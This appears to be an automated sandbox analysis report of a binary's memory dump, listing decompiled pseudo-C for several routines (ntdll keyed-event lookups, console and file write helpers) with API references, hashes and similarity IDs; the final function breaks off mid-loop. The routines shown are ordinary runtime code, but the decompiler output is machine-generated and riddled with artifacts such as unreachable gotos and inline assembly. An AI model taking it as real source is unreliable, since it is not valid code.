Opcode ID: bbaa414e28d1b034b1d6380d9cc72140ef1814d1df2468b328e46e56c58a838b
Instruction ID: e77835d88085f1b4217a56ed62bf91a7092bb726c8f8740ed8ddae41470d9021
Opcode Fuzzy Hash: bbaa414e28d1b034b1d6380d9cc72140ef1814d1df2468b328e46e56c58a838b
Instruction Fuzzy Hash: D6B092716049037ABE90ABF25B0CA2B391EAAE1B927404564A612D9A21EA20A140AD29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC4C0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7AC4C0() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("ntdll");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "NtCreateKeyedEvent");
				}
			}

0x6e7ac4c5
0x6e7ac4cd
0x6e7ac4dc
0x6e7ac4cf
0x6e7ac4db
0x6e7ac4db

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E7AC4C5
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6E7AC4D5

Strings

NtCreateKeyedEvent, xrefs: 6E7AC4CF
ntdll, xrefs: 6E7AC4C0

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtCreateKeyedEvent$ntdll
API String ID: 1646373207-1373576770
Opcode ID: 4d906c7be7cfe2330d2949fd109b884b7bb84ef8568064552f0ec63eb31a2cee
Instruction ID: 5b0f1243c84df172590680f7de0727bd2779fd871cf68ea38f7af2610d9b14e8
Opcode Fuzzy Hash: 4d906c7be7cfe2330d2949fd109b884b7bb84ef8568064552f0ec63eb31a2cee
Instruction Fuzzy Hash: 28B092716089016EAE94AAF16B0CA163A2CAA81B1670084A4A236DA960EB209640ED29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC4A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7AC4A0() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("ntdll");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "NtReleaseKeyedEvent");
				}
			}

0x6e7ac4a5
0x6e7ac4ad
0x6e7ac4bc
0x6e7ac4af
0x6e7ac4bb
0x6e7ac4bb

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E7AC4A5
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6E7AC4B5

Strings

NtReleaseKeyedEvent, xrefs: 6E7AC4AF
ntdll, xrefs: 6E7AC4A0

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtReleaseKeyedEvent$ntdll
API String ID: 1646373207-31681898
Opcode ID: 6c18d8e21a9dee2c551d44067ec8591ed003ee896265b28e106e8d82560b589f
Instruction ID: 6205b47d89d0b94f5a22ca5d3a40f5ac750e6b90cf350da94cf3b02cc414cb33
Opcode Fuzzy Hash: 6c18d8e21a9dee2c551d44067ec8591ed003ee896265b28e106e8d82560b589f
Instruction Fuzzy Hash: 40B092B16089017AAE94AAF16B0CA163E2CAA81B167004468B626D9660FB24A640ED29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC480, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E7AC480() {
				struct HINSTANCE__* _t1;

				_t1 = GetModuleHandleA("ntdll");
				if(_t1 == 0) {
					return _t1;
				} else {
					return GetProcAddress(_t1, "NtWaitForKeyedEvent");
				}
			}

0x6e7ac485
0x6e7ac48d
0x6e7ac49c
0x6e7ac48f
0x6e7ac49b
0x6e7ac49b

APIs

GetModuleHandleA.KERNEL32(ntdll), ref: 6E7AC485
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6E7AC495

Strings

NtWaitForKeyedEvent, xrefs: 6E7AC48F
ntdll, xrefs: 6E7AC480

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: NtWaitForKeyedEvent$ntdll
API String ID: 1646373207-2815205136
Opcode ID: a2d0ac9252dd8e9a4640d4bbee21152ccb0bf0a68929d1cf35eb236ed190a328
Instruction ID: 719cde77a0fbfd17c402f6e575f4dd0b932399871097d261b375caa16cfa51cf
Opcode Fuzzy Hash: a2d0ac9252dd8e9a4640d4bbee21152ccb0bf0a68929d1cf35eb236ed190a328
Instruction Fuzzy Hash: F2B09B755045017A6D5496F15B0C9163A2C568171570045647226D9560D710D140ED25

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C4089, Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6E7C4089(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				char _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				int _t186;
				signed char* _t190;
				signed char _t195;
				intOrPtr _t198;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				char _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed int _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				void* _t266;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				signed int _t273;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				signed char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				struct _OVERLAPPED* _t296;
				void* _t299;
				signed int _t300;
				signed int _t302;
				struct _OVERLAPPED* _t303;
				signed char* _t306;
				intOrPtr* _t307;
				void* _t308;
				signed int _t309;
				long _t310;
				signed int _t311;
				signed int _t312;
				signed int _t313;
				void* _t314;
				void* _t315;
				void* _t316;

				_push(0xffffffff);
				_push(E6E7C74CA);
				_push( *[fs:0x0]);
				_t315 = _t314 - 0x74;
				_t177 =  *0x6e7fa4a4; // 0x4e6749c0
				_t178 = _t177 ^ _t313;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t306 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t306;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0x6e7fb5e0 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t306;
				_t186 = GetConsoleOutputCP();
				_t317 =  *((char*)(_t265 + 0x14));
				_v116 = _t186;
				if( *((char*)(_t265 + 0x14)) == 0) {
					E6E7BF760(_t265, _t291, _t317);
				}
				_t307 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t300 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0x6e7fb5e0 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							_t195 =  *((intOrPtr*)(_t300 + _t273 + 0x2d));
							__eflags = _t195 & 0x00000004;
							if((_t195 & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								_t198 =  *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc))));
								__eflags =  *((intOrPtr*)(_t198 + _t273 * 2)) - _t267;
								if( *((intOrPtr*)(_t198 + _t273 * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									__eflags = _t217 - _v88;
									if(_t217 >= _v88) {
										 *((char*)(_t300 + _v80 + 0x2e)) =  *_t292;
										 *( *(0x6e7fb5e0 + _v84 * 4) + _t300 + 0x2d) =  *( *(0x6e7fb5e0 + _v84 * 4) + _t300 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t307 + 4)) = _v76 + 1;
									} else {
										_t224 = E6E7C2A23(_t273, _t292,  &_v68, _t292, 2, _v64);
										_t316 = _t315 + 0x10;
										__eflags = _t224 - 0xffffffff;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t300 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *((char*)(_t300 + _t273 + 0x2d)) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E6E7C2A23(_t273, _t292);
								_t316 = _t315 + 0x10;
								__eflags = _t200 - 0xffffffff;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t300;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t302 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0x6e7fabf0; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								__eflags = _t281 - _t302;
								if(_t281 > _t302) {
									__eflags = _t302;
									if(_t302 <= 0) {
										goto L44;
									} else {
										_t309 = _v72;
										do {
											 *((char*)( *(0x6e7fb5e0 + _v84 * 4) + _t309 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									__eflags = _t281 - 4;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E6E7C4CEF( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t316 = _t315 + 0x14;
									__eflags = _t238 - 0xffffffff;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										__eflags = _t240;
										_t300 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0x6e7fabf0)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									__eflags = _t302;
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0x6e7fb5e0 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E6E7BAE10( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0x6e7fb5e0 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E6E7C4CEF( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E6E7C19B3(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E6E7BA057(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

0x6e7c408e
0x6e7c4090
0x6e7c409b
0x6e7c409c
0x6e7c409f
0x6e7c40a4
0x6e7c40a6
0x6e7c40ac
0x6e7c40b0
0x6e7c40b6
0x6e7c40bb
0x6e7c40c1
0x6e7c40c4
0x6e7c40c7
0x6e7c40ca
0x6e7c40cd
0x6e7c40d0
0x6e7c40da
0x6e7c40e1
0x6e7c40e9
0x6e7c40ec
0x6e7c40f2
0x6e7c40f6
0x6e7c40f9
0x6e7c40fd
0x6e7c40fd
0x6e7c4105
0x6e7c410d
0x6e7c4112
0x6e7c4113
0x6e7c4114
0x6e7c4115
0x6e7c4118
0x6e7c411a
0x6e7c4120
0x6e7c4126
0x6e7c4129
0x6e7c412b
0x6e7c412e
0x6e7c4137
0x6e7c413d
0x6e7c4140
0x6e7c4147
0x6e7c414e
0x6e7c4151
0x6e7c428b
0x6e7c428f
0x6e7c4292
0x6e7c42b5
0x6e7c42bb
0x6e7c42bd
0x6e7c42c1
0x6e7c42f2
0x6e7c42f5
0x6e7c42f7
0x00000000
0x6e7c42c3
0x6e7c42c3
0x6e7c42c6
0x6e7c42c9
0x6e7c42cc
0x6e7c4416
0x6e7c4424
0x6e7c442d
0x6e7c42d2
0x6e7c42dc
0x6e7c42e1
0x6e7c42e4
0x6e7c42e7
0x6e7c42ed
0x00000000
0x6e7c42ed
0x6e7c42e7
0x6e7c42cc
0x6e7c4294
0x6e7c429b
0x6e7c429e
0x6e7c42a1
0x6e7c42a3
0x6e7c42a6
0x6e7c42ad
0x6e7c42af
0x6e7c42f8
0x6e7c42fb
0x6e7c42fc
0x6e7c4301
0x6e7c4304
0x6e7c4307
0x6e7c430d
0x00000000
0x6e7c430d
0x6e7c4307
0x6e7c4157
0x6e7c415a
0x6e7c415c
0x6e7c415e
0x6e7c4162
0x6e7c4163
0x6e7c4167
0x00000000
0x00000000
0x00000000
0x6e7c4167
0x6e7c416c
0x6e7c416e
0x6e7c4173
0x6e7c4233
0x6e7c423a
0x6e7c423b
0x6e7c423e
0x6e7c4240
0x6e7c43f0
0x6e7c43f2
0x00000000
0x6e7c43f4
0x6e7c43f4
0x6e7c43f7
0x6e7c4406
0x6e7c440a
0x6e7c440b
0x6e7c440b
0x00000000
0x6e7c440f
0x00000000
0x6e7c4246
0x6e7c424b
0x6e7c424e
0x6e7c4251
0x6e7c4257
0x6e7c4260
0x6e7c426b
0x6e7c4270
0x6e7c4273
0x6e7c4276
0x6e7c427f
0x6e7c427f
0x6e7c4282
0x00000000
0x6e7c4282
0x6e7c4276
0x6e7c4179
0x6e7c417c
0x6e7c4182
0x6e7c4184
0x6e7c4191
0x6e7c4192
0x6e7c4195
0x6e7c4198
0x6e7c419d
0x6e7c43c1
0x6e7c43c3
0x6e7c43c5
0x6e7c43c8
0x6e7c43cb
0x6e7c43d7
0x6e7c43da
0x6e7c43dc
0x6e7c43dd
0x6e7c43e1
0x6e7c43e4
0x6e7c43e4
0x6e7c43e8
0x6e7c43e8
0x6e7c43e8
0x6e7c43eb
0x6e7c43eb
0x6e7c41a3
0x6e7c41a3
0x6e7c41a6
0x6e7c41a8
0x6e7c41ab
0x6e7c41ad
0x6e7c41b1
0x6e7c41b2
0x6e7c41b3
0x6e7c41b7
0x6e7c41bc
0x6e7c41c6
0x6e7c41cb
0x6e7c41ce
0x6e7c41ce
0x6e7c41d1
0x6e7c41d4
0x6e7c41d6
0x6e7c41d9
0x6e7c41e2
0x6e7c41e6
0x6e7c41e7
0x6e7c41ee
0x6e7c41f4
0x6e7c41fc
0x6e7c4207
0x6e7c420c
0x6e7c4217
0x6e7c421c
0x6e7c4222
0x6e7c422b
0x6e7c4285
0x6e7c4285
0x6e7c4310
0x6e7c4315
0x6e7c4327
0x6e7c432c
0x6e7c432f
0x6e7c4334
0x6e7c434f
0x6e7c4432
0x6e7c4438
0x6e7c4355
0x6e7c4355
0x6e7c4360
0x6e7c4362
0x6e7c4365
0x6e7c436e
0x6e7c4378
0x00000000
0x6e7c437a
0x6e7c437c
0x6e7c437e
0x6e7c4397
0x00000000
0x6e7c439d
0x6e7c43a1
0x6e7c43a7
0x6e7c43aa
0x6e7c43b0
0x6e7c43b3
0x00000000
0x6e7c43b3
0x6e7c43a1
0x6e7c4397
0x6e7c4378
0x6e7c436e
0x6e7c434f
0x6e7c4334
0x6e7c4222
0x6e7c419d
0x6e7c4173
0x00000000
0x6e7c43b6
0x6e7c43b6
0x6e7c43bf
0x6e7c443a
0x6e7c443f
0x6e7c4447
0x6e7c4448
0x6e7c4449
0x6e7c4455
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(4E6749C0,?,00000000,?), ref: 6E7C40EC

Part of subcall function 6E7C19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E7C3B22,?,00000000,-00000008), ref: 6E7C1A5F

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E7C4347
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E7C438F
GetLastError.KERNEL32 ref: 6E7C4432

Memory Dump Source

Source File: 00000002.00000002.915222976.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000002.00000002.915220054.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915238247.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.915257078.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.915260338.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.915263320.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bb80dc600ce50f296e7e8dffd198c056af46894238ca381ed8ea212ea4737d5a
Instruction ID: 1e60bcccc5bf3087d27d07cefe5e1cf23a68a8972090ba698568066fae8e5890
Opcode Fuzzy Hash: bb80dc600ce50f296e7e8dffd198c056af46894238ca381ed8ea212ea4737d5a
Instruction Fuzzy Hash: 73D17775D002599FCF01CFE8C980AEDBBB9FF49704F14452AE865AB261E730A942DB51

Uniqueness

Uniqueness Score: -1.00%

Function 6E7B2620, Relevance: 6.2, APIs: 4, Instructions: 215
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E6E7B2620(void* __ebx, long __ecx, void* __edx, void* __edi, void* __esi, signed char _a1, char _a2, char _a8, signed int _a8212, void* _a8216, char _a1853797916) {
				signed int _v0;
				char _v2;
				void* _v4;
				long _v8;
				long _v12;
				signed char* _v16;
				long _v20;
				intOrPtr _v28;
				char _v36;
				char _v40;
				long _v44;
				char* _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				long _v64;
				char* _v68;
				long _v76;
				long _v80;
				char _v84;
				long _v88;
				intOrPtr _v92;
				long _v100;
				long _v104;
				char _v108;
				intOrPtr _v188;
				intOrPtr _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _v204;
				void* __ebp;
				signed short* _t120;
				signed char _t122;
				void** _t124;
				void* _t129;
				void* _t135;
				void* _t139;
				void* _t140;
				intOrPtr _t141;
				void* _t146;
				void* _t147;
				long _t156;
				signed short _t161;
				void* _t164;
				signed int _t167;
				signed int _t168;
				signed int _t172;
				signed int _t173;
				DWORD* _t177;
				unsigned int _t178;
				void* _t180;
				unsigned int _t182;
				void* _t183;
				signed char _t185;
				signed int _t186;
				void* _t192;
				long _t193;
				signed int _t196;
				void** _t197;
				void* _t205;
				DWORD* _t206;
				signed char _t208;
				signed int _t212;
				signed short _t215;
				long* _t219;
				long _t221;
				long _t226;
				signed char _t228;
				intOrPtr _t236;
				signed int _t237;
				signed short _t238;
				void* _t245;
				void* _t247;
				signed int _t249;
				signed int _t250;
				unsigned int _t253;
				signed int _t256;
				void* _t258;
				long _t259;
				char* _t260;
				void* _t261;
				char* _t264;
				void* _t271;
				void* _t272;
				void** _t273;
				void* _t276;
				signed short _t277;
				signed int _t281;
				signed int _t282;
				signed int _t284;
				signed int _t288;
				void* _t289;
				void* _t290;
				signed int _t296;
				void* _t301;
				void* _t302;
				void* _t303;
				void* _t304;
				void* _t306;
				void* _t307;
				intOrPtr _t308;
				void* _t319;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				E6E7BA000(0x2010);
				_t258 = _a8216;
				_t288 = _a8212;
				_t271 =  &_v0;
				_v4 = __edx;
				_v8 = __ecx;
				E6E7BC310(_t258, _t271, 0, 0x2000);
				_t302 = _t301 + 0xc;
				_t177 = _t288 + _t258;
				_t192 = 0x2000;
				_t259 = 0;
				_v16 = _t177;
				if(0 == 0) {
					L4:
					__eflags = _t288 - _t177;
					if(_t288 == _t177) {
						L27:
						__eflags = _t259 - 0x1001;
						if(__eflags >= 0) {
							goto L46;
						} else {
							goto L28;
						}
					} else {
						_t185 = _v0;
						_t7 =  &_a1; // 0x1
						_t167 = _t7;
						_t249 = _t185 & 0x000000ff;
						__eflags = _t185;
						if(_t185 < 0) {
							_t281 = _v16;
							__eflags = _t167 - _t281;
							if(_t167 == _t281) {
								_t168 = 0;
								_t288 = _t281;
								_t250 = _t249 & 0x0000001f;
								__eflags = _t185 - 0xdf;
								if(_t185 > 0xdf) {
									goto L10;
								} else {
									goto L15;
								}
							} else {
								_t288 =  &_a2;
								_t168 = _a1 & 0x3f;
								_t250 = _t249 & 0x0000001f;
								__eflags = _t185 - 0xdf;
								if(_t185 <= 0xdf) {
									L15:
									_t256 = _t250 << 6;
									goto L18;
								} else {
									L10:
									_t282 = _v16;
									__eflags = _t288 - _t282;
									if(_t288 == _t282) {
										_t288 = _t282;
										_t168 = _t168 << 6;
										__eflags = _t185 - 0xf0;
										if(_t185 >= 0xf0) {
											goto L12;
										} else {
											goto L17;
										}
									} else {
										_t288 =  &_a1;
										_t168 = _t168 << 0x00000006 | _v0 & 0x3f;
										__eflags = _t185 - 0xf0;
										if(_t185 < 0xf0) {
											L17:
											_t256 = _t250 << 0xc;
											__eflags = _t256;
											L18:
											_t177 = _v16;
											_t249 = _t256 | _t168;
											_t271 =  &_v0;
											goto L21;
										} else {
											L12:
											_t284 = _v16;
											__eflags = _t288 - _t284;
											if(_t288 == _t284) {
												_t186 = 0;
												__eflags = 0;
												_t288 = _t284;
											} else {
												_t288 =  &_a1;
												_t186 = _v0 & 0x3f;
											}
											_t271 =  &_v0;
											_t172 = _t168 << 0x00000006 | (_t250 & 0x00000007) << 0x00000012 | _t186;
											_t177 = _v16;
											__eflags = _t172 - 0x110000;
											_t249 = _t172;
											if(_t172 == 0x110000) {
												goto L27;
											} else {
												L21:
												__eflags = _t249 - 0xffff;
												if(__eflags <= 0) {
													goto L2;
												} else {
													_t253 = _t249 + 0xffff0000;
													_t173 = _t253 & 0x000003ff | 0x0000dc00;
													_t249 = _t253 >> 0x0000000a | 0x0000d800;
													_t177 = _v16;
													__eflags = _t192;
													if(__eflags == 0) {
														goto L26;
													} else {
														goto L24;
													}
												}
											}
										}
									}
								}
							}
						} else {
							_t177 = _v16;
							_t288 = _t167;
							_t173 = 0;
							__eflags = _t192;
							if(__eflags != 0) {
								goto L24;
							} else {
								goto L26;
							}
						}
					}
				} else {
					L2:
					_t173 = 0;
					if(_t192 != 0) {
						L24:
						 *(_t302 + 0x10 + _t259 * 2) = _t249;
						_t259 = _t259 + 1;
						_t192 = _t192 + 0xfffffffe;
						_t249 = _t173;
						__eflags = _t249;
						if(__eflags != 0) {
							goto L2;
						} else {
							goto L4;
						}
					} else {
						L26:
						_t259 = 0x1000;
						L28:
						_t177 =  &_v12;
						_v12 = 0;
						if(WriteConsoleW(_v4, _t271, _t259, _t177, 0) == 0) {
							_t156 = GetLastError();
							_t219 = _v8;
							_t219[2] = _t156;
							_t219[1] = 0;
							 *_t219 = 1;
							goto L44;
						} else {
							_t288 = _v12;
							_t245 = _a8216;
							_t319 = _t288 - _t259;
							if(_t319 == 0) {
								L43:
								_t156 = _v8;
								 *((intOrPtr*)(_t156 + 4)) = _t245;
								 *_t156 = 0;
								L44:
								return _t156;
							} else {
								if(_t319 >= 0) {
									E6E7C6CA0(_t177, _t288, _t259, _t259, _t271, __eflags, 0x6e7ee124);
									_t302 = _t302 + 4;
									asm("ud2");
									L46:
									_t193 = _t259;
									_t226 = 0x1000;
									_push(0x6e7ee114);
									goto L48;
								} else {
									if((( *(_t302 + 0x10 + _t288 * 2) & 0x0000ffff) + 0x00002312 & 0x0000ffff) < 0x312) {
										_t164 = _t302 + 0x10 + _t288 * 2;
										_t288 =  &_a1;
										_v12 = 0;
										if(WriteConsoleW(_v4, _t164, 1, _t177, 0) == 0) {
											GetLastError();
										}
									}
									if(_t288 > _t259) {
										_t193 = _t288;
										_t226 = _t259;
										_push(0x6e7ee134);
										L48:
										E6E7C6DB0(_t177, _t193, _t226, _t259, _t271, __eflags);
										_t303 = _t302 + 4;
										asm("ud2");
										asm("int3");
										_t304 = _t303 - 8;
										__eflags =  *_t193 - 1;
										if(__eflags == 0) {
											asm("movsd xmm0, [ecx+0x4]");
											asm("movsd [esp], xmm0");
											E6E7C6EE0(_t177, "called `Result::unwrap()` on an `Err` value", 0x2b, __eflags, _t304, 0x6e7ed09c, 0x6e7ee104);
											asm("ud2");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t288);
											_push(_t177);
											_push(_t259);
											_push(_t271);
											_t306 = _t304 + 0xc - 0x80;
											_t228 =  *_v16;
											_t120 =  *_v20;
											__eflags = _t228 & 0x00000010;
											if((_t228 & 0x00000010) != 0) {
												_t196 =  *_t120;
												_t272 = 0;
												_t260 =  &_v40;
												_t289 = 0x30;
												_t178 = _t196;
												asm("o16 nop [eax+eax]");
												do {
													_t178 = _t178 >> 4;
													_t122 = _t196 & 0x0000000f;
													__eflags = _t122 - 0xa;
													_t230 =  <  ? 0x30 : 0x57;
													_t272 = _t272 + 1;
													_t231 = ( <  ? 0x30 : 0x57) + _t122;
													__eflags = _t196 - 0xf;
													_t196 = _t178;
